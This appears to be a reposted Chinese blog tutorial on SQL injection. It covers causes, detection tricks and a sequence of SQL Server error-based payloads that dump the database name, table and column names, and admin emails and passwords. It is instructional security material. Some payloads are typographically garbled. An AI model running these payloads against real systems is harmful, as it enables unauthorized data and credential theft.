sql注入

Sql注入

Sql注入成因:

1)     转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);

2)     类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)

3)     查询语句的组装不当

4)     错误处理不当

5)     权限配置不当(可以执行高权限语句)

Sql注入类型:

从参数的角度:基于字符型和数字型的

基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注

识别sql注入:

  1. 1.    永真和永假表达式: or 1=1—
  2. 2.    语句执行的报错信息:Having(聚合函数)若select字段没有包含在having里面,则会报错,证明注入成功
  3. 3.    特定数据的连接符:(根据不同数据库的连接符不相同)

       i.          Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)

     ii.          Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)

   iii.          奥瑞考(||连接)1’or ‘ab’=’a’||’b’

基于错误的sql注入基本原理:

  1. 1.   判断;2.判断数据库

Sqlsever数据库中convert是一个进行类型转换的函数

1=convert(int,@@version)--

拆解库名:1=convert(int,db_name())--

得到当前用户名:1=convert(int,user_name())—

拆解表名:

1=convert(int,(select top 1 table_name from information_schema_tables))—

1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推

拆解列名:

1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—

1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—

得到字段数据:

1=convert(int,(select top 1 email_id from pp_admin_tb))—

得到字段数据;

1=convert(int,(select top 1 password from pp_admin_tb))—

Sqlmap项目源码:https://github.com/sqlmapproject/sqlmap

手册:https://github.com/sqlmapproject/sqlmap/wiki/Useage

 

 

原文地址:https://www.cnblogs.com/Jdrops/p/5355193.html